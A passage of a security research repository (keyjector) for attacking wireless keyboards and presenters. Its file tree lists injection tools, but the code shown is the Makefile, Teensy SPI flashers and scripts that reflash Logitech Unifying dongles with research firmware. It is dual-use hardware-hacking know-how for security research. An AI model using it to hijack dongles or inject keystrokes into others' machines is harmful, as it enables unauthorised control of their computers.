├── .gitignore ├── LICENSE ├── Makefile ├── docs └── slides │ ├── New Tales of Wireless Input Devices - CONFidence 2019.pdf │ ├── New Tales of Wireless Input Devices - DeepSec 2019.pdf │ ├── New Tales of Wireless Input Devices - hack.lu 2019.pdf │ └── New Tales of Wireless Input Devices - t2 2019.pdf ├── prog ├── teensy-flasher │ ├── .gitignore │ ├── lib │ │ └── readme.txt │ ├── platformio.ini │ ├── python │ │ ├── spi-dump.py │ │ └── spi-flash.py │ └── src │ │ ├── common.h │ │ ├── main.cpp │ │ ├── nRF24LU1P.cpp │ │ └── nRF24LU1P.h └── usb-flasher │ ├── logitech-usb-flash.py │ ├── logitech-usb-restore.py │ ├── unifying.py │ └── usb-flash.py ├── readme-original.md ├── readme-original2.md ├── readme.md ├── src ├── main.c ├── nRF24LU1P.h ├── radio.c ├── radio.h ├── usb.c ├── usb.h ├── usb_desc.c └── usb_desc.h └── tools ├── device-scanner.py ├── keyjector.py ├── lib ├── __init__.py ├── common.py ├── keyboard.py └── nrf24.py ├── nrf24-continuous-tone-test.py ├── nrf24-network-mapper.py ├── nrf24-scanner.py ├── nrf24-sniffer.py ├── preso-injector.py ├── preso-scanner.py ├── protocols ├── __init__.py ├── amazon.py ├── canon.py ├── hs304.py ├── inateck_wp1001.py ├── inateck_wp2002.py ├── injector.py ├── logitech.py ├── protocol.py ├── protocols.py ├── rii.py └── tbbsc.py └── r500-injector.py /.gitignore: -------------------------------------------------------------------------------- 1 | bin/ 2 | scratch/ 3 | *.html 4 | *.pyc 5 | *.grc 6 | *.packets 7 | -------------------------------------------------------------------------------- /Makefile: -------------------------------------------------------------------------------- 1 | SDCC ?= sdcc 2 | CFLAGS = --model-large --std-c99 3 | LDFLAGS = --xram-loc 0x8000 --xram-size 2048 --model-large 4 | VPATH = src/ 5 | OBJS = main.rel usb.rel usb_desc.rel radio.rel 6 | 7 | SDCC_VER := $(shell $(SDCC) -v | grep -Po "\d\.\d\.\d" | sed "s/\.//g") 8 | 9 | all: sdcc bin/ dongle.bin 10 | 11 | sdcc: 12 | @if test $(SDCC_VER) -lt 310; then echo "Please update SDCC to 3.1.0 or newer."; exit 2; fi 13 | 14 | dongle.bin: $(OBJS) 15 | $(SDCC) $(LDFLAGS) $(OBJS:%=bin/%) -o bin/dongle.ihx 16 | objcopy -I ihex bin/dongle.ihx -O binary bin/dongle.bin 17 | objcopy --pad-to 26622 --gap-fill 255 -I ihex bin/dongle.ihx -O binary bin/dongle.formatted.bin 18 | objcopy -I binary bin/dongle.formatted.bin -O ihex bin/dongle.formatted.ihx 19 | 20 | %.rel: %.c 21 | $(SDCC) $(CFLAGS) -c $< -o bin/$@ 22 | 23 | clean: 24 | rm -f bin/* 25 | 26 | install: 27 | ./prog/usb-flasher/usb-flash.py bin/dongle.bin 28 | 29 | spi_install: 30 | ./prog/teensy-flasher/python/spi-flash.py bin/dongle.bin 31 | 32 | logitech_install: 33 | ./prog/usb-flasher/logitech-usb-flash.py bin/dongle.formatted.bin bin/dongle.formatted.ihx 34 | 35 | bin/: 36 | mkdir -p bin 37 | -------------------------------------------------------------------------------- /docs/slides/New Tales of Wireless Input Devices - CONFidence 2019.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SySS-Research/keyjector/b528d018705cc819e08dcdbc4e952e597fe60cba/docs/slides/New Tales of Wireless Input Devices - CONFidence 2019.pdf -------------------------------------------------------------------------------- /docs/slides/New Tales of Wireless Input Devices - DeepSec 2019.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SySS-Research/keyjector/b528d018705cc819e08dcdbc4e952e597fe60cba/docs/slides/New Tales of Wireless Input Devices - DeepSec 2019.pdf -------------------------------------------------------------------------------- /docs/slides/New Tales of Wireless Input Devices - hack.lu 2019.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SySS-Research/keyjector/b528d018705cc819e08dcdbc4e952e597fe60cba/docs/slides/New Tales of Wireless Input Devices - hack.lu 2019.pdf -------------------------------------------------------------------------------- /docs/slides/New Tales of Wireless Input Devices - t2 2019.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SySS-Research/keyjector/b528d018705cc819e08dcdbc4e952e597fe60cba/docs/slides/New Tales of Wireless Input Devices - t2 2019.pdf -------------------------------------------------------------------------------- /prog/teensy-flasher/.gitignore: -------------------------------------------------------------------------------- 1 | platformio.sublime* 2 | .pioenvs 3 | .sconsign.dblite 4 | -------------------------------------------------------------------------------- /prog/teensy-flasher/lib/readme.txt: -------------------------------------------------------------------------------- 1 | 2 | This directory is intended for the project specific (private) libraries. 3 | PlatformIO will compile them to static libraries and link to executable file. 4 | 5 | The source code of each library should be placed in separate directory, like 6 | "lib/private_lib/[here are source files]". 7 | 8 | For example, see how can be organised `Foo` and `Bar` libraries: 9 | 10 | |--lib 11 | | |--Bar 12 | | | |--docs 13 | | | |--examples 14 | | | |--src 15 | | | |- Bar.c 16 | | | |- Bar.h 17 | | |--Foo 18 | | | |- Foo.c 19 | | | |- Foo.h 20 | | |- readme.txt --> THIS FILE 21 | |- platformio.ini 22 | |--src 23 | |- main.c 24 | 25 | Then in `src/main.c` you should use: 26 | 27 | #include 28 | #include 29 | 30 | // rest H/C/CPP code 31 | 32 | PlatformIO will find your libraries automatically, configure preprocessor's 33 | include paths and build them. 34 | 35 | See additional options for PlatformIO Library Dependency Finder `lib_*`: 36 | 37 | http://docs.platformio.org/en/latest/projectconf.html#lib-install 38 | 39 | -------------------------------------------------------------------------------- /prog/teensy-flasher/platformio.ini: -------------------------------------------------------------------------------- 1 | # 2 | # Project Configuration File 3 | # 4 | # A detailed documentation with the EXAMPLES is located here: 5 | # http://docs.platformio.org/en/latest/projectconf.html 6 | # 7 | 8 | # A sign `#` at the beginning of the line indicates a comment 9 | # Comment lines are ignored. 10 | 11 | # Simple and base environment 12 | # [env:mybaseenv] 13 | # platform = %INSTALLED_PLATFORM_NAME_HERE% 14 | # framework = 15 | # board = 16 | # 17 | # Automatic targets - enable auto-uploading 18 | # targets = upload 19 | 20 | [env:teensy31] 21 | platform = teensy 22 | framework = arduino 23 | board = teensy31 24 | # targets = upload 25 | -------------------------------------------------------------------------------- /prog/teensy-flasher/python/spi-dump.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | ''' 3 | Copyright (C) 2016 Bastille Networks 4 | 5 | This program is free software: you can redistribute it and/or modify 6 | it under the terms of the GNU General Public License as published by 7 | the Free Software Foundation, either version 3 of the License, or 8 | (at your option) any later version. 9 | 10 | This program is distributed in the hope that it will be useful, 11 | but WITHOUT ANY WARRANTY; without even the implied warranty of 12 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 13 | GNU General Public License for more details. 14 | 15 | You should have received a copy of the GNU General Public License 16 | along with this program. If not, see . 17 | ''' 18 | 19 | 20 | import serial, binascii, time, sys, logging 21 | from serial.tools import list_ports 22 | 23 | # Setup logging 24 | logging.basicConfig(level=logging.INFO, format='[%(asctime)s.%(msecs)03d] %(message)s', datefmt="%Y-%m-%d %H:%M:%S") 25 | 26 | # Serial commands 27 | READ_PAGE = 0x00 28 | WRITE_PAGE = 0x02 29 | 30 | # Teensy serial client 31 | class client(serial.Serial): 32 | 33 | # Constructor 34 | def __init__self(self, *args, **kwargs): 35 | Serial.__init__(self, *args, **kwargs) 36 | 37 | # Read until a newline 38 | def readline(self): 39 | string = '' 40 | while True: 41 | char = self.read() 42 | if char != '\n': 43 | string += char 44 | else: break 45 | return string 46 | 47 | # Read a page 48 | def read_page(self, page): 49 | command = map(chr, [READ_PAGE, page & 0xFF]) 50 | self.write(command) 51 | return self.readline() 52 | 53 | # Find the Teensy serial port 54 | logging.info("Finding for Teensy COM port") 55 | comport = None 56 | search = 'USB VID:PID=16c0:04'.lower() 57 | for port in list_ports.comports(): 58 | if search in port[2].lower(): 59 | comport = port[0] 60 | break 61 | if not comport: 62 | raise Exception('Failed to find Teensy COM port.') 63 | 64 | # Connect to the Teensy 65 | logging.info('Connecting to Teensy over serial at {0}'.format(comport)) 66 | ser = client(port=comport, baudrate=115200) 67 | 68 | # Read the flash memory 69 | logging.info("Reading flash memory") 70 | address = 0 71 | for x in range(32768/512): 72 | page_hex = ser.read_page(x) 73 | page_bytes = page_hex.decode('hex') 74 | for y in range(16): 75 | line_bytes = '20{0:04X}00{1}'.format(address, ''.join("{:02X}".format(ord(c)) for c in page_bytes[y*32:(y+1)*32])) 76 | checksum = sum(map(ord, line_bytes.decode('hex'))) 77 | checksum = (~checksum + 1 & 0xFF) 78 | print ':{0}{1:02X}'.format(line_bytes, checksum) 79 | address += 32 80 | print ':00000001FF' 81 | 82 | # Close the serial connection 83 | ser.close() 84 | 85 | -------------------------------------------------------------------------------- /prog/teensy-flasher/python/spi-flash.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python2 2 | ''' 3 | Copyright (C) 2016 Bastille Networks 4 | 5 | This program is free software: you can redistribute it and/or modify 6 | it under the terms of the GNU General Public License as published by 7 | the Free Software Foundation, either version 3 of the License, or 8 | (at your option) any later version. 9 | 10 | This program is distributed in the hope that it will be useful, 11 | but WITHOUT ANY WARRANTY; without even the implied warranty of 12 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 13 | GNU General Public License for more details. 14 | 15 | You should have received a copy of the GNU General Public License 16 | along with this program. If not, see . 17 | ''' 18 | 19 | 20 | import serial, binascii, time, sys, logging 21 | from serial.tools import list_ports 22 | 23 | # Setup logging 24 | logging.basicConfig(level=logging.INFO, format='[%(asctime)s.%(msecs)03d] %(message)s', datefmt="%Y-%m-%d %H:%M:%S") 25 | 26 | # Serial commands 27 | READ_PAGE = 0x00 28 | WRITE_PAGE = 0x02 29 | 30 | # Verify that we received a command line argument 31 | if len(sys.argv) < 2: 32 | print 'Usage: ./spi-flash.py path-to-firmware.bin' 33 | quit() 34 | 35 | # Read in the firmware 36 | with open(sys.argv[1], 'rb') as f: 37 | data = f.read() 38 | 39 | # Zero pad the data to a multiple of 512 bytes 40 | if len(data) % 512 > 0: data += '\000' * (512 - len(data) % 512) 41 | 42 | # Teensy serial client 43 | class client(serial.Serial): 44 | 45 | # Constructor 46 | def __init__self(self, *args, **kwargs): 47 | Serial.__init__(self, *args, **kwargs) 48 | 49 | # Read until a newline 50 | def readline(self): 51 | string = '' 52 | while True: 53 | char = self.read() 54 | if char != '\n': 55 | string += char 56 | else: break 57 | return string 58 | 59 | # Read a page 60 | def read_page(self, page): 61 | command = map(chr, [READ_PAGE, page & 0xFF]) 62 | self.write(command) 63 | return self.readline() 64 | 65 | # Write a page 66 | def write_page(self, page, data): 67 | 68 | if len(data) != 512: 69 | raise Exception("Expected 512 bytes of data, got {0}".format(len(data))) 70 | 71 | command = map(chr, [WRITE_PAGE, page & 0xFF]) 72 | self.write(command) 73 | self.write(data) 74 | self.readline() 75 | 76 | # Find the Teensy serial port 77 | logging.info("Finding for Teensy COM port") 78 | comport = None 79 | search = 'USB VID:PID=16c0:04'.lower() 80 | for port in list_ports.comports(): 81 | if search in port[2].lower(): 82 | comport = port[0] 83 | break 84 | if not comport: 85 | raise Exception('Failed to find Teensy COM port.') 86 | 87 | # Connect to the Teensy 88 | logging.info('Connecting to Teensy over serial at {0}'.format(comport)) 89 | ser = client(port=comport, baudrate=115200) 90 | 91 | # Write the data, one page at a time 92 | logging.info('Writing image to flash') 93 | for x in range(len(data)/512): 94 | page = data[x*512:x*512+512] 95 | ser.write_page(x, page) 96 | 97 | # Verify that the image was written correctly, reading one page at a time 98 | logging.info("Verifying write") 99 | for x in range(len(data)/512): 100 | page_hex = ser.read_page(x) 101 | page_bytes = page_hex.decode('hex') 102 | if page_bytes != data[x*512:x*512+512]: 103 | raise Exception('Verification failed on page {0}'.format(x)) 104 | 105 | # Close the serial connection 106 | ser.close() 107 | 108 | logging.info("Firmware programming completed successfully") 109 | logging.info("\033[92m\033[1mPlease unplug your dongle or breakout board and plug it back in.\033[0m") 110 | 111 | -------------------------------------------------------------------------------- /prog/teensy-flasher/src/common.h: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #define printf Serial.printf 4 | -------------------------------------------------------------------------------- /prog/teensy-flasher/src/main.cpp: -------------------------------------------------------------------------------- 1 | #include "common.h" 2 | #include "nRF24LU1P.h" 3 | 4 | // Serial commands 5 | #define READ_PAGE 0x00 6 | #define WRITE_PAGE 0x02 7 | 8 | // Setup serial and nRF24LU1+ SPI 9 | void setup() 10 | { 11 | // Init Serial 12 | Serial.begin(115200); 13 | Serial.setTimeout(250); 14 | 15 | // Configure the pins and enter programming mode 16 | init_nrf(); 17 | } 18 | 19 | // Main loop; process commands over serial to read and write 20 | // from the MainBlock and InfoPage flash memory 21 | void loop() 22 | { 23 | static uint8_t read_buffer[2]; 24 | static uint8_t data_buffer[512 + 2 /* address */]; 25 | static int len; 26 | 27 | // Process incoming commands 28 | if(Serial.readBytes((char *)read_buffer, 2) == 2) 29 | { 30 | switch(read_buffer[0]) 31 | { 32 | // Read a MainBlock page 33 | case READ_PAGE: 34 | read_page(read_buffer[1]); 35 | break; 36 | 37 | // Write a MainBlock page or InfoPage 38 | case WRITE_PAGE: 39 | 40 | // Read in 512 bytes 41 | len = Serial.readBytes((char *)&data_buffer[2], 512); 42 | if(len != 512) 43 | { 44 | printf("Expected 512 bytes, got %i\n", len); 45 | return; 46 | } 47 | 48 | // Write the page 49 | write_page(read_buffer[1], data_buffer); 50 | break; 51 | } 52 | } 53 | } 54 | 55 | -------------------------------------------------------------------------------- /prog/teensy-flasher/src/nRF24LU1P.cpp: -------------------------------------------------------------------------------- 1 | #include "common.h" 2 | #include "nRF24LU1P.h" 3 | 4 | // SPI settings 5 | SPISettings spi_settings(SPI_SPEED, MSBFIRST, SPI_MODE0); 6 | 7 | // Configure the pins and enter programming mode 8 | void init_nrf() 9 | { 10 | // Init SPI 11 | SPI.begin(); 12 | 13 | // Configure the pins 14 | pinMode(CS_PIN, OUTPUT); 15 | pinMode(RESET_PIN, OUTPUT); 16 | pinMode(PROG_PIN, OUTPUT); 17 | 18 | // Enter programming mode 19 | digitalWrite(CS_PIN, HIGH); 20 | digitalWrite(RESET_PIN, LOW); 21 | digitalWrite(PROG_PIN, LOW); 22 | digitalWrite(RESET_PIN, HIGH); 23 | digitalWrite(PROG_PIN, HIGH); 24 | delayMicroseconds(5000); 25 | } 26 | 27 | // Wait for a flash operation to complete 28 | void flash_wait() 29 | { 30 | uint8_t fsr; 31 | spi_read(RDSR, &fsr, 1); 32 | while((fsr & FSR_RDYN) == FSR_RDYN) spi_read(RDSR, &fsr, 1); 33 | } 34 | 35 | // Write a page of memory (512 bytes) 36 | void write_page(uint16_t page, uint8_t * data) 37 | { 38 | // Erase the page 39 | uint8_t bytes[1] = {page}; 40 | spi_write(WREN, NULL, 0); 41 | spi_write(ERASE_PAGE, bytes, 1); 42 | flash_wait(); 43 | 44 | // Set the start address 45 | uint16_t address = page * 512; 46 | data[0] = address >> 8; 47 | data[1] = address & 0xFF; 48 | 49 | // Write the first half of the page 50 | spi_write(WREN, NULL, 0); 51 | spi_write(PROGRAM, data, 258); 52 | flash_wait(); 53 | 54 | // Set the start address of the second half of the page 55 | address += 256; 56 | data[256] = address >> 8; 57 | data[257] = address & 0xFF; 58 | 59 | // Write the second half of the page 60 | spi_write(WREN, NULL, 0); 61 | spi_write(PROGRAM, &data[256], 258); 62 | flash_wait(); 63 | 64 | printf(" \n"); 65 | } 66 | 67 | // Read a page of memory (512 bytes) and send 68 | // the bytes over serial in Intel Hex format 69 | void read_page(uint16_t page) 70 | { 71 | // Initiate the SPI transaction 72 | SPI.beginTransaction(SPISettings(SPI_SPEED, MSBFIRST, SPI_MODE0)); 73 | digitalWrite(CS_PIN, LOW); 74 | 75 | // Send the READ command over SPI 76 | uint16_t address = page * 512; 77 | SPI.transfer(READ); 78 | SPI.transfer(address >> 8); 79 | SPI.transfer(address & 0xFF); 80 | 81 | // Read the page 32 bytes at a time 82 | uint8_t buffer[32]; 83 | for(int x = 0; x < 16; x++) 84 | { 85 | // Read 32 bytes 86 | memset(buffer, 0x00, 32); 87 | SPI.transfer(buffer, 32); 88 | 89 | // Print the bytes 90 | for(int b = 0; b < 32; b++) 91 | { 92 | printf("%02X", buffer[b]); 93 | } 94 | delayMicroseconds(10); 95 | } 96 | 97 | // Complete the SPI transaction 98 | digitalWrite(CS_PIN, HIGH); 99 | SPI.endTransaction(); 100 | 101 | printf("\n"); 102 | } 103 | 104 | // Write some bytes over SPI 105 | void spi_write(uint8_t command, uint8_t * buffer, uint16_t length) 106 | { 107 | SPI.beginTransaction(spi_settings); 108 | digitalWrite(CS_PIN, LOW); 109 | SPI.transfer(command); 110 | for(int x = 0; x < length; x++) SPI.transfer(buffer[x]); 111 | digitalWrite(CS_PIN, HIGH); 112 | SPI.endTransaction(); 113 | } 114 | 115 | // Read some bytes over SPI 116 | void spi_read(uint8_t command, uint8_t * buffer, uint16_t length) 117 | { 118 | SPI.beginTransaction(spi_settings); 119 | digitalWrite(CS_PIN, LOW); 120 | SPI.transfer(command); 121 | for(int x = 0; x < length; x++) buffer[x] = SPI.transfer(0xFF); 122 | digitalWrite(CS_PIN, HIGH); 123 | SPI.endTransaction(); 124 | } 125 | -------------------------------------------------------------------------------- /prog/teensy-flasher/src/nRF24LU1P.h: -------------------------------------------------------------------------------- 1 | // nRF24LU1+ SPI commands 2 | #define WREN 0x06 3 | #define WRDIS 0x04 4 | #define RDSR 0x05 5 | #define WRSR 0x01 6 | #define READ 0x03 7 | #define PROGRAM 0x02 8 | #define ERASE_PAGE 0x52 9 | #define ERASE_ALL 0x62 10 | #define RDFPCR 0x89 11 | #define RDISIP 0x84 12 | #define RDISMP 0x85 13 | #define ENDEBUG 0x86 14 | 15 | // nRF24LU1+ Flash Status Register bitmask 16 | #define FSR_DBG 0x80 17 | #define FSR_STP 0x40 18 | #define FSR_WEN 0x20 19 | #define FSR_RDYN 0x10 20 | #define FSR_INFEN 0x08 21 | #define FSR_RDISMB 0x04 22 | #define FSR_RDISIP 0x02 23 | 24 | // Output pins (assuming MISO/MOSI/CLK are using the HW defaults) 25 | #define RESET_PIN 8 26 | #define PROG_PIN 9 27 | #define CS_PIN 10 28 | 29 | // SPI clock speed of 10MHz 30 | #define SPI_SPEED 10000000 31 | 32 | // SPI settings 33 | extern SPISettings spi_settings; 34 | 35 | // Configure the pins and enter programming mode 36 | void init_nrf(); 37 | 38 | // Read a page of memory (512 bytes) and send 39 | // the bytes over serial as hex characters 40 | void read_page(uint16_t page); 41 | 42 | // Write a page of memory (512 bytes) 43 | void write_page(uint16_t page, uint8_t * data); 44 | 45 | // Wait for a flash operation to complete 46 | void flash_wait(); 47 | 48 | // Write some bytes over SPI 49 | void spi_write(uint8_t command, uint8_t * buffer, uint16_t length); 50 | 51 | // Read some bytes over SPI 52 | void spi_read(uint8_t command, uint8_t * buffer, uint16_t length); 53 | -------------------------------------------------------------------------------- /prog/usb-flasher/logitech-usb-flash.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | from unifying import * 4 | 5 | # Compute CRC-CCITT over 1 byte 6 | def crc_update(crc, data): 7 | crc ^= (data << 8) 8 | for x in range(8): 9 | if (crc & 0x8000) == 0x8000: crc = ((crc << 1) ^ 0x1021) & 0xFFFF 10 | else: crc <<= 1 11 | crc &= 0xFFFF 12 | return crc 13 | 14 | # Make sure a firmware image path was passed in 15 | if len(sys.argv) < 3: 16 | print "Usage: sudo ./logitech-usb-flash.py [firmware-image.bin] [firmware-image.ihx]" 17 | 18 | # Compute the CRC of the firmware image 19 | logging.info("Computing the CRC of the firmware image") 20 | path = sys.argv[1] 21 | with open(path, 'rb') as f: 22 | data = f.read() 23 | crc = 0xFFFF 24 | for x in range(len(data)): 25 | crc = crc_update(crc, ord(data[x])) 26 | 27 | # Read in the firmware hex file 28 | logging.info("Preparing USB payloads") 29 | path = sys.argv[2] 30 | with open(path) as f: 31 | lines = f.readlines() 32 | lines = [line.strip()[1:] for line in lines] 33 | lines = [line[2:6] + line[0:2] + line[8:-2] for line in lines] 34 | lines = ["20" + line + "0"*(62-len(line)) for line in lines] 35 | payloads = [line.decode('hex') for line in lines] 36 | payloads[0] = payloads[0][0:2] + chr((ord(payloads[0][2]) + 1)) + chr((ord(payloads[0][3]) - 1)) + payloads[0][5:] 37 | 38 | # Add the firmware CRC 39 | payloads.append('\x20\x67\xFE\x02' + struct.pack('!H', crc) + '\x00'*26) 40 | 41 | # Instantiate the dongle 42 | dongle = unifying_dongle() 43 | 44 | # Init command (?) 45 | logging.info("Initializing firmware update") 46 | response = dongle.send_command(0x21, 0x09, 0x0200, 0x0000, "\x80" + "\x00"*31) 47 | 48 | # # Clear the existing flash memory up to the size of the new firmware image 49 | logging.info("Clearing existing flash memory up to boootloader") 50 | for x in range(0, 0x70, 2): 51 | response = dongle.send_command(0x21, 0x09, 0x0200, 0x0000, "\x30" + chr(x) + "\x00\x01" + "\x00"*28) 52 | 53 | # Send the data 54 | logging.info("Transferring the new firmware") 55 | for payload in payloads: 56 | response = dongle.send_command(0x21, 0x09, 0x0200, 0x0000, payload) 57 | response = dongle.send_command(0x21, 0x09, 0x0200, 0x0000, payloads[0]) 58 | 59 | # Completed command (?) 60 | logging.info("Mark firmware update as completed") 61 | response = dongle.send_command(0x21, 0x09, 0x0200, 0x0000, "\x20\x00\x00\x01\x02" + "\x00"*27) 62 | 63 | # Restart the dongle 64 | logging.info("Restarting dongle into research firmware mode") 65 | response = dongle.send_command(0x21, 0x09, 0x0200, 0x0000, "\x70" + "\x00"*31) 66 | -------------------------------------------------------------------------------- /prog/usb-flasher/logitech-usb-restore.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python2 2 | ''' 3 | Copyright (C) 2016 Bastille Networks 4 | 5 | This program is free software: you can redistribute it and/or modify 6 | it under the terms of the GNU General Public License as published by 7 | the Free Software Foundation, either version 3 of the License, or 8 | (at your option) any later version. 9 | 10 | This program is distributed in the hope that it will be useful, 11 | but WITHOUT ANY WARRANTY; without even the implied warranty of 12 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 13 | GNU General Public License for more details. 14 | 15 | You should have received a copy of the GNU General Public License 16 | along with this program. If not, see . 17 | ''' 18 | 19 | from unifying import * 20 | import subprocess 21 | 22 | # Make sure a firmware image path was passed in 23 | if len(sys.argv) < 3: 24 | print "Usage: sudo ./logitech-usb-flash.py [firmware-image.hex]" 25 | 26 | # Read in the firmware image 27 | with open(sys.argv[1]) as f: 28 | lines = f.readlines() 29 | lines = [line.strip()[1:] for line in lines] 30 | lines = [line[2:6] + line[0:2] + line[8:-2] for line in lines] 31 | lines = ["20" + line + "0"*(62-len(line)) for line in lines] 32 | payloads = [line.decode('hex') for line in lines] 33 | payloads[0] = payloads[0][0:2] + chr((ord(payloads[0][2]) + 1)) + chr((ord(payloads[0][3]) - 1)) + payloads[0][5:] 34 | 35 | # Instantiate the dongle 36 | dongle = unifying_dongle() 37 | 38 | # Init command (?) 39 | logging.info("Initializing firmware update") 40 | response = dongle.send_command(0x21, 0x09, 0x0200, 0x0000, "\x80" + "\x00"*31) 41 | 42 | # # Clear the existing flash memory up to the size of the new firmware image 43 | logging.info("Clearing existing flash memory up to boootloader") 44 | for x in range(0, 0x70, 2): 45 | response = dongle.send_command(0x21, 0x09, 0x0200, 0x0000, "\x30" + chr(x) + "\x00\x01" + "\x00"*28) 46 | 47 | # Send the data 48 | logging.info("Transferring the new firmware") 49 | for payload in payloads: 50 | response = dongle.send_command(0x21, 0x09, 0x0200, 0x0000, payload) 51 | response = dongle.send_command(0x21, 0x09, 0x0200, 0x0000, payloads[0]) 52 | 53 | # Completed command (?) 54 | logging.info("Mark firmware update as completed") 55 | response = dongle.send_command(0x21, 0x09, 0x0200, 0x0000, "\x20\x00\x00\x01\x02" + "\x00"*27) 56 | 57 | # Restart the dongle 58 | logging.info("Restarting dongle into research firmware mode") 59 | response = dongle.send_command(0x21, 0x09, 0x0200, 0x0000, "\x70" + "\x00"*31) 60 | -------------------------------------------------------------------------------- /prog/usb-flasher/unifying.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | ''' 3 | Copyright (C) 2016 Bastille Networks 4 | 5 | This program is free software: you can redistribute it and/or modify 6 | it under the terms of the GNU General Public License as published by 7 | the Free Software Foundation, either version 3 of the License, or 8 | (at your option) any later version. 9 | 10 | This program is distributed in the hope that it will be useful, 11 | but WITHOUT ANY WARRANTY; without even the implied warranty of 12 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 13 | GNU General Public License for more details. 14 | 15 | You should have received a copy of the GNU General Public License 16 | along with this program. If not, see . 17 | ''' 18 | 19 | import usb, logging, time, sys, struct, os 20 | 21 | # Setup logging 22 | logging.basicConfig(level=logging.INFO, format='[%(asctime)s.%(msecs)03d] %(message)s', datefmt="%Y-%m-%d %H:%M:%S") 23 | 24 | # Check pyusb dependency 25 | try: 26 | from usb import core as _usb_core 27 | except ImportError, ex: 28 | print ''' 29 | ------------------------------------------ 30 | | PyUSB was not found or is out of date. | 31 | ------------------------------------------ 32 | 33 | Please update PyUSB using pip: 34 | 35 | sudo pip install -U -I pip && sudo pip install -U -I pyusb 36 | ''' 37 | sys.exit(1) 38 | 39 | # Sufficiently long timeout for use in a VM 40 | usb_timeout = 2500 41 | 42 | # Logitech Unifying dongle 43 | class unifying_dongle: 44 | 45 | # Constructor 46 | def __init__(self): 47 | 48 | # Get the dongle instance 49 | self.dongle = usb.core.find(idVendor=0x046d, idProduct=0xc52b) 50 | if self.dongle: 51 | logging.info("Found Logitech Unifying dongle - HID mode") 52 | 53 | # Detach the kernel driver 54 | logging.info("Detaching kernel driver from Logitech dongle - HID mode") 55 | for ep in range(3): 56 | if self.dongle.is_kernel_driver_active(ep): 57 | self.dongle.detach_kernel_driver(ep) 58 | 59 | # Set the default configuration 60 | self.dongle.set_configuration() 61 | 62 | # Enter firmware update mode 63 | self.enter_firmware_update_mode() 64 | return 65 | 66 | # Get the dongle instance - Logitech dongle flashed with research firmware 67 | self.dongle = usb.core.find(idVendor=0x1915, idProduct=0x0102) 68 | if self.dongle: 69 | logging.info("Found dongle with research firmware, attempting to load Logitech bootloader") 70 | 71 | # Set the default configuration 72 | self.dongle.set_configuration() 73 | 74 | # Enter firmware update mode 75 | self.dongle.write(0x01, [0xFE], timeout=usb_timeout) 76 | try: self.dongle.reset() 77 | except: pass 78 | 79 | # Wait up to 5 seconds for the Logitech bootloader to show up 80 | start = time.time() 81 | while time.time() - start < 5: 82 | try: 83 | 84 | # Get the dongle instance 85 | self.dongle = usb.core.find(idVendor=0x046d, idProduct=0xaaaa) 86 | if self.dongle: 87 | logging.info("Found Logitech Unifying dongle - firmware update mode") 88 | 89 | # Detach the kernel driver 90 | logging.info("Putting dongle into firmware update mode - firmware update mode") 91 | for ep in range(3): 92 | if self.dongle.is_kernel_driver_active(ep): 93 | self.dongle.detach_kernel_driver(ep) 94 | 95 | # Set the configuration 96 | self.dongle.set_configuration(1) 97 | break 98 | 99 | except AttributeError: 100 | continue 101 | 102 | # Verify that the Logitech bootloader showed up 103 | if not self.dongle: 104 | raise Exception("Dongle failed to reset into firmware update mode") 105 | 106 | else: 107 | 108 | # Get the dongle instance (already in firmware update mode) 109 | self.dongle = usb.core.find(idVendor=0x046d, idProduct=0xaaaa) 110 | if not self.dongle: 111 | raise Exception("Unable to find Logitech Unifying USB dongle.") 112 | 113 | # Detach the kernel driver 114 | for ep in range(3): 115 | if self.dongle.is_kernel_driver_active(ep): 116 | self.dongle.detach_kernel_driver(ep) 117 | 118 | # Set the default configuration 119 | self.dongle.set_configuration() 120 | 121 | # Reset the dongle into firmware update mode 122 | def enter_firmware_update_mode(self): 123 | 124 | logging.info("Putting dongle into firmware update mode") 125 | 126 | # It's not 100% clear why this is necessary, but there is some state problem 127 | # when a Logitech dongle is first plugged in (and not used as an HID/HID++ device). 128 | # The following code makes everything work, but it's magic for the moment. 129 | try: 130 | self.send_command(0x21, 0x09, 0x0210, 0x0002, "\x10\xFF\x81\xF1\x00\x00\x00", ep=0x83) 131 | except Exception: 132 | pass 133 | 134 | # Request the firmware version 135 | response = self.send_command(0x21, 0x09, 0x0210, 0x0002, "\x10\xFF\x81\xF1\x01\x00\x00", ep=0x83) 136 | if response[5] != 0x12: 137 | logging.info('Incompatible Logitech Unifying dongle (type {:02X}). Only Nordic Semiconductor based dongles are supported.'.format(response[5])) 138 | sys.exit(1) 139 | 140 | # Tell the dongle to reset into firmware update mode 141 | try: 142 | self.send_command(0x21, 0x09, 0x0210, 0x0002, "\x10\xFF\x80\xF0\x49\x43\x50", ep=0x83) 143 | except usb.core.USBError: 144 | 145 | # An I/O error is possible here when the device resets before we can read the USB response 146 | pass 147 | 148 | # Wait up to 5 seconds for the Logitech bootloader to show up 149 | start = time.time() 150 | while time.time() - start < 5: 151 | try: 152 | 153 | # Get the dongle instance 154 | self.dongle = usb.core.find(idVendor=0x046d, idProduct=0xaaaa) 155 | if self.dongle: 156 | logging.info("Found Logitech Unifying dongle - firmware update mode") 157 | 158 | # Detach the kernel driver 159 | logging.info("Putting dongle into firmware update mode - firmware update mode") 160 | for ep in range(3): 161 | if self.dongle.is_kernel_driver_active(ep): 162 | self.dongle.detach_kernel_driver(ep) 163 | 164 | # Set the configuration 165 | self.dongle.set_configuration(1) 166 | break 167 | 168 | except AttributeError: 169 | continue 170 | 171 | # Verify that the Logitech bootloader showed up 172 | if not self.dongle: 173 | raise exception("Dongle failed to reset into firmware update mode") 174 | 175 | # Send a command to the Logitech bootloader 176 | def send_command(self, request_type, request, value, index, data, ep=0x81, timeout=usb_timeout): 